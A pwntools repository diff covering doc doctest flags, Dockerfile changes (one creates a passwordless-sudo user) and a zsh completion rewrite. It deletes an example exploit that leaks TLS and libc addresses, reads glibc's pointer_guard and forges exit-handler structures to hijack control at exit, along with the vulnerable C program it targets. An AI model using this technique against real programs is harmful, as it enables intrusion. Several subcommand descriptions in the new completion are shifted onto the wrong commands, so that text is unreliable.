doctest_additional_flags = doctest.OPTIONFLAGS_BY_NAME['LINUX']
:mod:`pwnlib.shellcraft.loongarch64` --- Shellcode for LoongArch64
==================================================================
:mod:`pwnlib.shellcraft.loongarch64`
------------------------------------
.. automodule:: pwnlib.shellcraft.loongarch64
:members:
:mod:`pwnlib.shellcraft.loongarch64.linux`
------------------------------------------
.. automodule:: pwnlib.shellcraft.loongarch64.linux
:members:
-3
View File
@@ -12,9 +12,6 @@
context.clear(arch='mips')
import doctest
doctest_additional_flags = doctest.OPTIONFLAGS_BY_NAME['LINUX']
:mod:`pwnlib.shellcraft.mips` --- Shellcode for MIPS
===========================================================
-3
View File
@@ -3,9 +3,6 @@
from pwn import *
context.clear(arch='riscv64')
import doctest
doctest_additional_flags = doctest.OPTIONFLAGS_BY_NAME['LINUX']
:mod:`pwnlib.shellcraft.riscv64` --- Shellcode for RISCV64
==========================================================
-3
View File
@@ -3,9 +3,6 @@
from pwn import *
context.clear(arch='thumb')
import doctest
doctest_additional_flags = doctest.OPTIONFLAGS_BY_NAME['LINUX']
:mod:`pwnlib.shellcraft.thumb` --- Shellcode for Thumb Mode
===========================================================
-4
View File
@@ -2,10 +2,6 @@
from pwn import *
# TODO: Remove global POSIX flag
import doctest
doctest_additional_flags = doctest.OPTIONFLAGS_BY_NAME['POSIX']
:mod:`pwnlib.tubes.ssh` --- SSH
===========================================================
-3
View File
@@ -3,9 +3,6 @@
from pwn import *
import io
import doctest
doctest_additional_flags = doctest.OPTIONFLAGS_BY_NAME['POSIX']
:mod:`pwnlib.ui` --- Functions for user interaction
===================================================
-3
View File
@@ -2,9 +2,6 @@
from pwnlib.util.net import *
import doctest
doctest_additional_flags = doctest.OPTIONFLAGS_BY_NAME['LINUX']
:mod:`pwnlib.util.net` --- Networking interfaces
===================================================
-3
View File
@@ -4,9 +4,6 @@
from pwnlib.tubes.process import process
import os, sys
import doctest
doctest_additional_flags = doctest.OPTIONFLAGS_BY_NAME['LINUX']
:mod:`pwnlib.util.proc` --- Working with ``/proc/``
===================================================
-72
View File
@@ -1,72 +0,0 @@
# The prebuilt binary is compiled in Arch Linux with glibc 2.43
from pwn import *
import shutil
import tempfile
import os
context.log_level = 'debug'
context.arch = 'amd64'
EXE = './vulnerable'
t = process(EXE)
elf = ELF(EXE)
# Copy libc so later we can unstrip it
libc = elf.libc
tmpfd, tmpname = tempfile.mkstemp()
print(tmpfd)
with open(libc.file.name, 'rb') as f:
shutil.copyfileobj(f, os.fdopen(tmpfd, 'wb'))
libcdb.unstrip_libc(tmpname)
libc = ELF(tmpname)
# Now fetch information
# XXX: in my build, the tls variable locates at fs:[-4]
t.recvuntil(b': ')
tls = int(t.recvline(), 16)
info(f'Ready to read pointer_guard @ {tls + 0x30 + 4:#x}')
t.recvuntil(b': ')
handle = int(t.recvline(), 16)
t.recvuntil(b': ')
libc_base = int(t.recvline(), 16) - libc.symbols['puts']
info(f'Leak libc_base: {libc_base:#x}')
libc.address = libc_base
t.recvuntil(b': ')
chunk = int(t.recvline(), 16)
# Then read pointer_guard value
t.sendlineafter(b'%p', hex(tls + 0x30 + 4).encode())
t.recvuntil(b': ')
guard = int(t.recvline(), 16)
info(f'Guard is: {guard:#x}')
# Next overwrite initial and tls_dtors
t.recvuntil(b'%p=%lx')
# XXX: dtor_list->map->l_tls_dtor_count need to be dereferenced
# on glibc 2.43, the offset is 0x498
tls_dtor = glibc.ExitDtorList(handle, guard, chunk, chunk, 0)
g_dtor = glibc.ExitFunc(glibc.ExitFlavor.CXA, handle, guard, 0xabcd, 0)
g_dtor_list = glibc.ExitFuncList(0, [g_dtor])
def write_object(addr: int, blob: bytes) -> str:
return ' '.join(
f'{addr + i:#x}={u64(blob[i:i + 8]):#x}'
for i in range(0, len(blob), 8)
)
# Firstly, write glibc initial to overwrite global dtor
t.sendline(write_object(libc.symbols['initial'], bytes(g_dtor_list)).encode())
# Secondly, write tls dtor
t.sendline(write_object(chunk, bytes(tls_dtor)).encode())
# XXX: tls_dtor_list must be free-able
# XXX: tls_dtor_list is not hard-encoded (in glibc GOT),
# on my machine it's fs:[-0x48]
t.sendline(write_object(tls + 4 - 0x48, p64(chunk)).encode())
# Thirdly, terminate cycle
t.sendline(b'x')
# Finally, wait for exit
t.recvuntil(b'happen:\n')
t.interactive()
Binary file not shown.
-39
View File
@@ -1,39 +0,0 @@
#include <stddef.h>
#include <stdio.h>
#include <stdlib.h>
#include <threads.h>
#include <unistd.h>
thread_local int x;
void malicious_handler(void *arg) {
printf("Calling handler with %p\n", arg);
}
int main(void) {
setbuf(stdin, NULL);
setbuf(stdout, NULL);
printf("Assume you have some way to leak information about TLS: %p\n", &x);
printf("Some more information about function to hijack: %p\n", malicious_handler);
printf("You can't exploit without glibc: %p\n", puts);
void *p = malloc(0x500);
printf("To continue destructor chain, a forged link_map and dtor is needed: %p\n", p);
printf("Then you have some way to read/write pointer_guard\n");
size_t *where = NULL;
printf("Where to read? %%p > ");
scanf("%p", &where);
printf("Dereferenced value: %#lx\n", where ? *where : 0);
printf("Now perform arbitrary write ability on hijack exit handlers...\n");
printf("Write addresses in pairs: %%p=%%lx\n");
size_t value = 0;
while (scanf("%p=%lx", &where, &value) == 2) {
*where = value;
}
printf("Let's exit to see what will happen:\n");
return 0;
}
+12 -8
View File
@@ -3,12 +3,12 @@
# Based on Ubuntu
############################################################
FROM ubuntu:noble
LABEL maintainer="Maintainer Gallopsled et al."
FROM ubuntu:jammy
MAINTAINER Maintainer Gallopsled et al.
ENV LANG=en_US.UTF-8
ENV LANGUAGE=en_US:en
ENV LC_ALL=en_US.UTF-8
ENV LANG en_US.UTF-8
ENV LANGUAGE en_US:en
ENV LC_ALL en_US.UTF-8
ARG DEBIAN_FRONTEND=noninteractive
RUN apt-get update \
@@ -20,6 +20,9 @@ RUN apt-get update \
git \
libssl-dev \
libffi-dev \
python2.7 \
python2.7-dev \
python2-pip-whl \
python3 \
python3-pip \
python3-dev \
@@ -35,14 +38,15 @@ RUN apt-get update \
binutils-s390x-linux-gnu \
binutils-sparc64-linux-gnu \
binutils-riscv64-linux-gnu \
binutils-loongarch64-linux-gnu \
tmux \
patchelf \
&& locale-gen en_US.UTF-8 \
&& update-locale LANG=en_US.UTF-8 \
&& python3 -m pip install --no-cache-dir --break-system-packages --upgrade pwntools \
&& PYTHONPATH=`echo /usr/share/python-wheels/pip-*.whl` python2.7 -m pip install --no-cache-dir --upgrade pip setuptools wheel \
&& python2.7 -m pip install --no-cache-dir --upgrade pwntools \
&& python3 -m pip install --no-cache-dir --upgrade pip \
&& python3 -m pip install --no-cache-dir --upgrade pwntools \
&& PWNLIB_NOTERM=1 pwn update \
&& userdel -r ubuntu \
&& useradd -m pwntools \
&& passwd --delete --unlock pwntools \
&& echo "pwntools ALL=(ALL:ALL) NOPASSWD: ALL" > /etc/sudoers.d/pwntools
+2 -1
View File
@@ -1,6 +1,7 @@
FROM pwntools/pwntools:stable
USER root
RUN python3 -m pip uninstall --break-system-packages -q -y pwntools && python3 -m pip install --no-cache-dir --break-system-packages --upgrade git+https://github.com/Gallopsled/pwntools@beta
RUN python2.7 -m pip install --no-cache-dir --upgrade git+https://github.com/Gallopsled/pwntools@beta \
&& python3 -m pip install --no-cache-dir --force-reinstall --upgrade git+https://github.com/Gallopsled/pwntools@beta
RUN PWNLIB_NOTERM=1 pwn update
USER pwntools
+8
View File
@@ -0,0 +1,8 @@
from debian:buster
RUN apt-get update
RUN apt-get -y dist-upgrade
RUN apt-get -y install python3 python3-pip
RUN apt-get -y install git wget unzip
RUN pip3 install --no-cache-dir --upgrade git+https://github.com/Gallopsled/pwntools@dev
+2 -1
View File
@@ -1,6 +1,7 @@
FROM pwntools/pwntools:stable
USER root
RUN python3 -m pip uninstall --break-system-packages -q -y pwntools && python3 -m pip install --no-cache-dir --break-system-packages --upgrade git+https://github.com/Gallopsled/pwntools@dev
RUN python2.7 -m pip install --upgrade git+https://github.com/Gallopsled/pwntools@dev \
&& python3 -m pip install --force-reinstall --upgrade git+https://github.com/Gallopsled/pwntools@dev
RUN PWNLIB_NOTERM=1 pwn update
USER pwntools
+8 -4
View File
@@ -5,7 +5,8 @@ ENV HISTFILE=/home/pwntools/.history
# Uninstall existing versions of pwntools
USER root
RUN python3 -m pip uninstall --break-system-packages -q -y pwntools
RUN python2.7 -m pip uninstall -q -y pwntools \
&& python3 -m pip uninstall -q -y pwntools
# Switch back to the pwntools user from here forward
USER pwntools
@@ -17,14 +18,17 @@ ENV PATH="/home/pwntools/.local/bin:${PATH}"
# Install Pwntools to the home directory, make it an editable install
RUN git clone https://github.com/Gallopsled/pwntools \
&& python3 -m pip install --break-system-packages --upgrade --editable pwntools \
&& python2.7 -m pip install --upgrade --editable pwntools \
&& python3 -m pip install --upgrade --editable pwntools \
&& PWNLIB_NOTERM=1 pwn version
# Requirements for running the tests
RUN python3 -m pip install --break-system-packages --upgrade --requirement pwntools/docs/requirements.txt
RUN python2.7 -m pip install --upgrade --requirement pwntools/docs/requirements.txt \
&& python3 -m pip install --upgrade --requirement pwntools/docs/requirements.txt
# Python niceties for debugging
RUN python3 -m pip install --break-system-packages -U ipython ipdb
RUN python2.7 -m pip install -U ipython ipdb \
&& python3 -m pip install -U ipython ipdb
# Dependencies from .travis.yml addons -> apt -> packages
ARG DEBIAN_FRONTEND=noninteractive
+1 -1
View File
@@ -408,7 +408,7 @@ c.TerminalInteractiveShell.prompts_class = ClassicPrompts
# Options for configuring the SQLite connection
#
# These options are passed as keyword args to sqlite3.connect when establishing
# database connections.
# database conenctions.
# c.HistoryManager.connection_options = {}
# enable the SQLite history
+2 -1
View File
@@ -1,6 +1,7 @@
FROM pwntools/pwntools:base
USER root
RUN python3 -m pip uninstall --break-system-packages -q -y pwntools && python3 -m pip install --no-cache-dir --break-system-packages --upgrade git+https://github.com/Gallopsled/pwntools@stable
RUN python2.7 -m pip install --no-cache-dir --upgrade git+https://github.com/Gallopsled/pwntools@stable \
&& python3 -m pip install --no-cache-dir --force-reinstall --upgrade git+https://github.com/Gallopsled/pwntools@stable
RUN PWNLIB_NOTERM=1 pwn update
USER pwntools
+79 -223
View File
@@ -5,63 +5,13 @@
# Pwntools Command-line Interface
#
# This file was generated with help from Zargparse (https://github.com/ctil/zargparse)
# NOTE: Don't use Zargparse any more as it may bring known errors!
# ----------------------------------------------------------------------------------------
_comp_pid() {
if [[ $1 == 'pid' ]] {
local line pids lines
pids=()
# extract command output line by line
lines=("${(@f)$(ps --ppid 2 -p 2 -N -o pid=,tty=,user=,comm=)}")
for line ($lines) {
pids+=${line[(w)1]} # extract first word (pid)
}
_wanted nonk-pids expl 'non-kernel process ID' \
compadd -o nosort -ld lines -a pids
} elif [[ $1 == 'procs' ]] {
local line names lines
names=()
# extract command output line by line
lines=("${(@f)$(ps --ppid 2 -p 2 -N -o comm=,pid=,tty=,user=)}")
for line ($lines) {
names+=${line[(w)1]} # extract first word (pid)
}
_wanted nonk-comm expl 'non-kernel process names' \
compadd -o nosort -ld lines -a names
}
}
_comp_funcs() {
local names
output=$(readelf -Ws $1 2>/dev/null)
if [[ $? -ne 0 ]] {
return
}
names=("${(f)$(awk '$4=="FUNC" && $7!="UND" {print $8}' <(echo "$output"))}")
if [[ $#names -gt 0 ]] {
_values "FUNCTIONS" $names
}
}
_comp_error() {
local -a names
which errno > /dev/null
if [[ $? -ne 0 ]] {
return
}
names=("${(f)$(LC_ALL=C errno -l | awk '{printf "%s:(%d) %s\n", $1, $2, substr($0, length($1 $2)+3)}')}")
_describe "ERRORS" names
}
typeset -A opt_args
_pwn() {
setopt localoptions
setopt extendedglob
# Define the subcommands
local -a commands
commands=(
'asm:Assemble shellcode into bytes'
'checksec:Check binary security settings'
@@ -74,268 +24,174 @@ _pwn() {
'elfpatch:Patch an ELF file'
'errno:Prints out error messages'
'hex:Hex-encodes data provided on the command line or stdin'
'libcdb:Print various information about a libc binary'
'phd:Pretty hex dump'
'pwnstrip:Strip binaries for CTF usage'
'scramble:Shellcode encoder'
'shellcraft:Microwave shellcode -- Easy, fast and delicious'
'template:Generate an exploit template'
'unhex:Decodes hex-encoded data provided on the command line or via stdin.'
'update:Check for pwntools updates'
'version:Pwntools version'
'scramble:Strip binaries for CTF usage'
'shellcraft:Shellcode encoder'
'template:Microwave shellcode -- Easy, fast and delicious'
'unhex:Generate an exploit template'
'update:Decodes hex-encoded data provided on the command line or via stdin.'
'version:Check for pwntools updates'
)
# Global flags (i.e. ones not associated with a subcommand)
_arguments \
"1:COMMAND: _describe 'command' commands" \
'(-h --help)'{-h,--help}'[show help message and exit]' \
"1: :{_describe 'command' commands}" \
'(-h --help)'{-h,--help}'[show this help message and exit]' \
'*:: :->args'
# Flags for each subcommand
case $state in
args)
case $words[1] in
pwnstrip)
_arguments \
'(-h --help)'{-h,--help}'[show this help message and exit]' \
'(-b --build-id)'{-b,--build-id}'[Strip build ID]' \
'(-p --patch)'{-p,--patch}'=[Patch function]:' \
'(-o --output)'{-o,--output}'=[None]:' \
;;
asm)
_arguments \
'(-h --help)'{-h,--help}'[show help message and exit]' \
'(-f --format)'{-f,--format}'[Output format]:FORMAT:(raw hex string elf)' \
'(-o --output)'{-o,--output}'[Output file (defaults to stdout)]:OUTPUT:_files' \
'(-c --context)'{-c,--context}'[The os/architecture/endianness/bits the shellcode will run in (default: linux/i386)]:CONTEXT:(16 32 64 baremetal freebsd windows android darwin linux cgc loongarch64 powerpc64 aarch64 powerpc riscv32 riscv64 sparc64 mips64 msp430 alpha amd64 sparc thumb cris i386 ia64 m68k mips s390 none avr arm vax little big be eb le el)' \
'(-v --avoid)'{-v,--avoid}'[Encode the shellcode to avoid the listed bytes (provided as hex)]:HEXBYTES: ' \
'(-h --help)'{-h,--help}'[show this help message and exit]' \
'(-f --format)'{-f,--format}'=[Output format (defaults to hex for ttys, otherwise raw)]:-f :(raw hex string elf)' \
'(-o --output)'{-o,--output}'=[Output file (defaults to stdout)]:' \
'(-c --context)'{-c,--context}'=[The os/architecture/endianness/bits the shellcode will run in (default: linux/i386), choose from: \["16", "32", "64", "android", "baremetal", "cgc", "freebsd", "linux", "windows", "powerpc64", "aarch64", "powerpc", "sparc64", "mips64", "msp430", "alpha", "amd64", "sparc", "thumb", "cris", "i386", "ia64", "m68k", "mips", "s390", "none", "avr", "arm", "vax", "little", "big", "be", "eb", "le", "el"\]]:-c :(16 32 64 android baremetal cgc freebsd linux windows powerpc64 aarch64 powerpc sparc64 mips64 msp430 alpha amd64 sparc thumb cris i386 ia64 m68k mips s390 none avr arm vax little big be eb le el)' \
'(-v --avoid)'{-v,--avoid}'=[Encode the shellcode to avoid the listed bytes (provided as hex)]:' \
'(-n --newline)'{-n,--newline}'[Encode the shellcode to avoid newlines]' \
'(-z --zero)'{-z,--zero}'[Encode the shellcode to avoid NULL bytes]' \
'(-d --debug)'{-d,--debug}'[Debug the shellcode with GDB]' \
'(-i --infile)'{-i,--infile}'[Specify input file]:INPUT:_files' \
'(-e --encoder)'{-e,--encoder}'=[Specific encoder to use]:' \
'(-i --infile)'{-i,--infile}'=[Specify input file]:' \
'(-r --run)'{-r,--run}'[Run output]' \
'*:LINE: '
;;
checksec)
_arguments \
'(-h --help)'{-h,--help}'[show help message and exit]' \
'--file[File to check]:ELF:_files' \
'*:ELF:_files'
_arguments \
'(-h --help)'{-h,--help}'[show this help message and exit]' \
'--file=[File to check (for compatibility with checksec.sh)]:' \
;;
constgrep)
_arguments \
'(-h --help)'{-h,--help}'[show help message and exit]' \
'(-h --help)'{-h,--help}'[show this help message and exit]' \
'(-e --exact)'{-e,--exact}'[Do an exact match for a constant instead of searching for a regex]' \
'(-i --case-insensitive)'{-i,--case-insensitive}'[Search case insensitive]' \
'(-m --mask-mode)'{-m,--mask-mode}'[Instead of searching for a specific constant value, search for values not containing strictly less bits that the given value.]' \
'(-c --context)'{-c,--context}'[The os/architecture/endianness/bits the shellcode will run in (default: linux/i386)]:CONTEXT:(16 32 64 baremetal freebsd windows android darwin linux cgc loongarch64 powerpc64 aarch64 powerpc riscv32 riscv64 sparc64 mips64 msp430 alpha amd64 sparc thumb cris i386 ia64 m68k mips s390 none avr arm vax little big be eb le el)' \
'1:REGEX: ' \
'2:CONST: ' \
'*: :'
'(-c --context)'{-c,--context}'=[The os/architecture/endianness/bits the shellcode will run in (default: linux/i386), choose from: \["16", "32", "64", "android", "baremetal", "cgc", "freebsd", "linux", "windows", "powerpc64", "aarch64", "powerpc", "sparc64", "mips64", "msp430", "alpha", "amd64", "sparc", "thumb", "cris", "i386", "ia64", "m68k", "mips", "s390", "none", "avr", "arm", "vax", "little", "big", "be", "eb", "le", "el"\]]:-c :(16 32 64 android baremetal cgc freebsd linux windows powerpc64 aarch64 powerpc sparc64 mips64 msp430 alpha amd64 sparc thumb cris i386 ia64 m68k mips s390 none avr arm vax little big be eb le el)' \
;;
cyclic)
_arguments \
'(-h --help)'{-h,--help}'[show help message and exit]' \
'(-a --alphabet)'{-a,--alphabet}'[The alphabet to use in the cyclic pattern (defaults to all lower case letters)]:ALPHABETS: ' \
'(-n --length)'{-n,--length}'[Size of the unique subsequences (defaults to 4)]:LENGTH: ' \
'(-c --context)'{-c,--context}'[The os/architecture/endianness/bits the shellcode will run in (default: linux/i386)]:CONTEXT:(16 32 64 baremetal freebsd windows android darwin linux cgc loongarch64 powerpc64 aarch64 powerpc riscv32 riscv64 sparc64 mips64 msp430 alpha amd64 sparc thumb cris i386 ia64 m68k mips s390 none avr arm vax little big be eb le el)' \
'(-l -o --offset --lookup)'{-l,-o,--offset,--lookup}'[Do a lookup instead printing the alphabet]:LOOKUP: ' \
'1:COUNT: ' \
'*: :'
'(-h --help)'{-h,--help}'[show this help message and exit]' \
'(-a --alphabet)'{-a,--alphabet}'=[The alphabet to use in the cyclic pattern (defaults to all lower case letters)]:' \
'(-n --length)'{-n,--length}'=[Size of the unique subsequences (defaults to 4).]:' \
'(-c --context)'{-c,--context}'=[The os/architecture/endianness/bits the shellcode will run in (default: linux/i386), choose from: \["16", "32", "64", "android", "baremetal", "cgc", "freebsd", "linux", "windows", "powerpc64", "aarch64", "powerpc", "sparc64", "mips64", "msp430", "alpha", "amd64", "sparc", "thumb", "cris", "i386", "ia64", "m68k", "mips", "s390", "none", "avr", "arm", "vax", "little", "big", "be", "eb", "le", "el"\]]:-c :(16 32 64 android baremetal cgc freebsd linux windows powerpc64 aarch64 powerpc sparc64 mips64 msp430 alpha amd64 sparc thumb cris i386 ia64 m68k mips s390 none avr arm vax little big be eb le el)' \
'(-l -o --offset --lookup)'{-l,-o,--offset,--lookup}'=[Do a lookup instead printing the alphabet]:' \
;;
debug)
_arguments \
'(-h --help)'{-h,--help}'[show help message and exit]' \
'-x[Execute GDB commands from this file]:GDBSCRIPT:_files' \
'--pid[PID to attach to]:PID: _comp_pid pid' \
'(-c --context)'{-c,--context}'[The os/architecture/endianness/bits the shellcode will run in (default: linux/i386)]:CONTEXT:(16 32 64 baremetal freebsd windows android darwin linux cgc loongarch64 powerpc64 aarch64 powerpc riscv32 riscv64 sparc64 mips64 msp430 alpha amd64 sparc thumb cris i386 ia64 m68k mips s390 none avr arm vax little big be eb le el)' \
'--exec[File to debug]:EXE:_files' \
'--process[Name of the process to attach to (e.g. "bash")]:NAME: _comp_pid procs' \
'--sysroot[GDB sysroot path]:PATH:_files -/'
;;
'(-h --help)'{-h,--help}'[show this help message and exit]' \
'-x=[Execute GDB commands from this file.]:' \
'--pid=[PID to attach to]:' \
'(-c --context)'{-c,--context}'=[The os/architecture/endianness/bits the shellcode will run in (default: linux/i386), choose from: \["16", "32", "64", "android", "baremetal", "cgc", "freebsd", "linux", "windows", "powerpc64", "aarch64", "powerpc", "sparc64", "mips64", "msp430", "alpha", "amd64", "sparc", "thumb", "cris", "i386", "ia64", "m68k", "mips", "s390", "none", "avr", "arm", "vax", "little", "big", "be", "eb", "le", "el"\]]:-c :(16 32 64 android baremetal cgc freebsd linux windows powerpc64 aarch64 powerpc sparc64 mips64 msp430 alpha amd64 sparc thumb cris i386 ia64 m68k mips s390 none avr arm vax little big be eb le el)' \
'--exec=[File to debug]:' \
'--process=[Name of the process to attach to (e.g. "bash")]:' \
'--sysroot=[GDB sysroot path]:' \
;;
disasm)
_arguments \
'(-h --help)'{-h,--help}'[show help message and exit]' \
'(-c --context)'{-c,--context}'[The os/architecture/endianness/bits the shellcode will run in (default: linux/i386)]:CONTEXT:(16 32 64 baremetal freebsd windows android darwin linux cgc loongarch64 powerpc64 aarch64 powerpc riscv32 riscv64 sparc64 mips64 msp430 alpha amd64 sparc thumb cris i386 ia64 m68k mips s390 none avr arm vax little big be eb le el)' \
'(-a --address)'{-a,--address}'[Base address]:ADDR: ' \
'(-h --help)'{-h,--help}'[show this help message and exit]' \
'(-c --context)'{-c,--context}'=[The os/architecture/endianness/bits the shellcode will run in (default: linux/i386), choose from: \["16", "32", "64", "android", "baremetal", "cgc", "freebsd", "linux", "windows", "powerpc64", "aarch64", "powerpc", "sparc64", "mips64", "msp430", "alpha", "amd64", "sparc", "thumb", "cris", "i386", "ia64", "m68k", "mips", "s390", "none", "avr", "arm", "vax", "little", "big", "be", "eb", "le", "el"\]]:-c :(16 32 64 android baremetal cgc freebsd linux windows powerpc64 aarch64 powerpc sparc64 mips64 msp430 alpha amd64 sparc thumb cris i386 ia64 m68k mips s390 none avr arm vax little big be eb le el)' \
'(-a --address)'{-a,--address}'=[Base address]:' \
'--color[Color output]' \
'--no-color[Disable color output]' \
'*:HEX: '
;;
disablenx)
_arguments \
'(-h --help)'{-h,--help}'[show help message and exit]' \
'*:ELF:_files'
'(-h --help)'{-h,--help}'[show this help message and exit]' \
;;
elfdiff)
_arguments \
'(-h --help)'{-h,--help}'[show help message and exit]' \
'1:ELF_A:_files' \
'2:ELF_B:_files' \
'*: :'
'(-h --help)'{-h,--help}'[show this help message and exit]' \
;;
elfpatch)
_arguments \
'(-h --help)'{-h,--help}'[show help message and exit]' \
'1:ELF:_files' \
'2:OFFSET: ' \
'3:PATCH: ' \
'*: :'
'(-h --help)'{-h,--help}'[show this help message and exit]' \
;;
errno)
_arguments \
'(-h --help)'{-h,--help}'[show help message and exit]' \
'1:ERROR:_comp_error' \
'*: :'
'(-h --help)'{-h,--help}'[show this help message and exit]' \
;;
hex)
_arguments \
'(-h --help)'{-h,--help}'[show help message and exit]' \
'(-p --prefix)'{-p,--prefix}'[Insert a prefix before each byte]:PREFIX: ' \
'(-s --separator)'{-s,--separator}'[Add a separator between each byte]:SEPARATOR: ' \
'*:DATA: '
'(-h --help)'{-h,--help}'[show this help message and exit]' \
;;
libcdb)
local -a libc_cmds=(
'lookup:Lookup a libc version by function offsets'
'hash:Display information of a libc version given an unique hash'
'file:Dump information about a libc binary'
'fetch:Fetch libc database'
)
_arguments \
"1:LIBC_COMMAND: _describe 'libc command' libc_cmds" \
'(-h --help)'{-h,--help}'[show help message and exit]' \
'*:: :->args'
if [[ $state != 'args' ]] {
return
}
case $words[1] {
(lookup)
_arguments \
'(-h --help)'{-h,--help}'[show help message and exit]' \
'(-d --download-libc)'{-d,--download-libc}'[Attempt to download the matching libc.so]' \
'--no-unstrip[Do NOT attempt to unstrip the libc binary with debug symbols from a debuginfod server]' \
'--offline-only[Attempt to searching with offline only mode]' \
'*:SYMBOL_OFFSET_PAIRS: _message -r "SYMBOL_OFFSET_PAIRS Hint: read 3e0 write 520"'
;;
(hash)
_arguments \
'(-h --help)'{-h,--help}'[show help message and exit]' \
'(-t --hash_type)'{-t,--hash_type}'[The type of the provided hash value]:HASH TYPE:(id buildid md5 sha1 sha256)' \
'(-d --download-libc)'{-d,--download-libc}'[Attempt to download the matching libc.so]' \
'--no-unstrip[Do NOT attempt to unstrip the libc binary with debug symbols from a debuginfod server]' \
'--offline-only[Attempt to searching with offline only mode]' \
'*:HASH VALUE: '
;;
(file)
_arguments \
'(-h --help)'{-h,--help}'[show help message and exit]' \
'(-s --symbols)'{-s,--symbols}'[List of symbol offsets to dump in addition to the common ones]:SYMBOLS: ' \
'(-o --offset)'{-o,--offset}'[Display all offsets relative to this symbol]:OFFSET: ' \
'--unstrip[Attempt to unstrip the libc binary inplace with debug symbols from a debuginfod server]' \
'*:FILE:_files'
;;
(fetch)
_arguments \
'(-h --help)'{-h,--help}'[show help message and exit]' \
'(-u --update)'{-u,--update}'[Fetch the desired libc categories]:UPDATE: ' \
'1:PATH:_files' \
'*: :'
;;
}
;;
phd)
_arguments \
'(-h --help)'{-h,--help}'[show help message and exit]' \
'(-w --width)'{-w,--width}'[Number of bytes per line]:WIDTH INT: ' \
'(-l --highlight)'{-l,--highlight}'[Byte to highlight]:*^<->:HIGHLIGHTS INT: ' \
'(-s --skip)'{-s,--skip}'[Skip this many initial bytes]:SKIP INT: ' \
'(-c --count)'{-c,--count}'[Only show this many bytes]:COUNT INT: ' \
'(-o --offset)'{-o,--offset}'[Addresses in left hand column starts at this address]:OFFSET INT: ' \
'--color[Colorize the output. When "auto" output is colorized exactly when stdout is a TTY; default is auto]:COLOR:(always never auto)' \
'1:FILE:_files' \
'*: :'
'(-h --help)'{-h,--help}'[show this help message and exit]' \
'(-w --width)'{-w,--width}'=[Number of bytes per line.]:' \
'(-l --highlight)'{-l,--highlight}'=[Byte to highlight.]:' \
'(-s --skip)'{-s,--skip}'=[Skip this many initial bytes.]:' \
'(-c --count)'{-c,--count}'=[Only show this many bytes.]:' \
'(-o --offset)'{-o,--offset}'=[Addresses in left hand column starts at this address.]:' \
'--color=[Colorize the output. When "auto" output is colorized exactly when stdout is a TTY. Default is "auto".]:--color :(always never auto)' \
;;
pwnstrip)
_arguments \
'(-h --help)'{-h,--help}'[show help message and exit]' \
'(-b --build-id)'{-b,--build-id}'[Strip build ID]' \
'(-p --patch)'{-p,--patch}'[Patch function]:FUNCTION:->funcs' \
'(-o --output)'{-o,--output}'[Output file]:OUTPUT:_files' \
'1:FILE:_files' \
'*: :'
if [[ $state == 'funcs' ]] {
_message "FUNCTION"
if [[ $#line -ne 0 ]] {
filename=$~line[1]
} elif [[ -f $~words[-1] ]] {
filename=$~words[-1]
} else {
return
}
_comp_funcs $filename
}
;;
scramble)
_arguments \
'(-h --help)'{-h,--help}'[show help message and exit]' \
'(-f --format)'{-f,--format}'[Output format (defaults to hex for ttys, otherwise raw)]:FORMAT:(raw hex string elf)' \
'(-o --output)'{-o,--output}'[Output file (defaults to stdout)]:OUTPUT:_files' \
'(-c --context)'{-c,--context}'[The os/architecture/endianness/bits the shellcode will run in (default: linux/i386)]:CONTEXT:(16 32 64 baremetal freebsd windows android darwin linux cgc loongarch64 powerpc64 aarch64 powerpc riscv32 riscv64 sparc64 mips64 msp430 alpha amd64 sparc thumb cris i386 ia64 m68k mips s390 none avr arm vax little big be eb le el)' \
'(-h --help)'{-h,--help}'[show this help message and exit]' \
'(-f --format)'{-f,--format}'=[Output format (defaults to hex for ttys, otherwise raw)]:-f :(raw hex string elf)' \
'(-o --output)'{-o,--output}'=[Output file (defaults to stdout)]:' \
'(-c --context)'{-c,--context}'=[The os/architecture/endianness/bits the shellcode will run in (default: linux/i386), choose from: \["16", "32", "64", "android", "baremetal", "cgc", "freebsd", "linux", "windows", "powerpc64", "aarch64", "powerpc", "sparc64", "mips64", "msp430", "alpha", "amd64", "sparc", "thumb", "cris", "i386", "ia64", "m68k", "mips", "s390", "none", "avr", "arm", "vax", "little", "big", "be", "eb", "le", "el"\]]:-c :(16 32 64 android baremetal cgc freebsd linux windows powerpc64 aarch64 powerpc sparc64 mips64 msp430 alpha amd64 sparc thumb cris i386 ia64 m68k mips s390 none avr arm vax little big be eb le el)' \
'(-p --alphanumeric)'{-p,--alphanumeric}'[Encode the shellcode with an alphanumeric encoder]' \
'(-v --avoid)'{-v,--avoid}'[Encode the shellcode to avoid the listed bytes]:AVOID: ' \
'(-v --avoid)'{-v,--avoid}'=[Encode the shellcode to avoid the listed bytes]:' \
'(-n --newline)'{-n,--newline}'[Encode the shellcode to avoid newlines]' \
'(-z --zero)'{-z,--zero}'[Encode the shellcode to avoid NULL bytes]' \
'(-d --debug)'{-d,--debug}'[Debug the shellcode with GDB]' \
;;
shellcraft)
_arguments \
'(-h --help)'{-h,--help}'[show help message and exit]' \
'(-? --show)'{-\?,--show}'[Show shellcode documentation]' \
'(-o --out)'{-o,--out}'[Output file (default: stdout)]:OUTPUT:_files' \
'(-f --format)'{-f,--format}'[Output format (default: hex)]:FORMAT:(e r s c h i a p d)' \
'(-h --help)'{-h,--help}'[show this help message and exit]' \
'(-? --show)'{-?,--show}'[Show shellcode documentation]' \
'(-o --out)'{-o,--out}'=[Output file (default: stdout)]:' \
'(-f --format)'{-f,--format}'=[Output format (default: hex), choose from {e}lf, {r}aw, {s}tring, {c}-style array, {h}ex string, hex{i}i, {a}ssembly code, {p}reprocssed code, escape{d} hex string]:-f :(r raw s str string c h hex a asm assembly p i hexii e elf d escaped default)' \
'(-d --debug)'{-d,--debug}'[Debug the shellcode with GDB]' \
'--delim[Set the delimiter between multiple shellcodes]:DELIM: ' \
'(-b --before)'{-b,--before}'[Insert a debug trap before the code]' \
'(-a --after)'{-a,--after}'[Insert a debug trap after the code]' \
'(-v --avoid)'{-v,--avoid}'[Encode the shellcode to avoid the listed bytes]:AVOID: ' \
'(-v --avoid)'{-v,--avoid}'=[Encode the shellcode to avoid the listed bytes]:' \
'(-n --newline)'{-n,--newline}'[Encode the shellcode to avoid newlines]' \
'(-z --zero)'{-z,--zero}'[Encode the shellcode to avoid NULL bytes]' \
'(-r --run)'{-r,--run}'[Run output]' \
'--color[Color output]' \
'--no-color[Disable color output]' \
'--syscalls[List syscalls]' \
'--address[Load address]:ADDRESS: ' \
'--address=[Load address]:' \
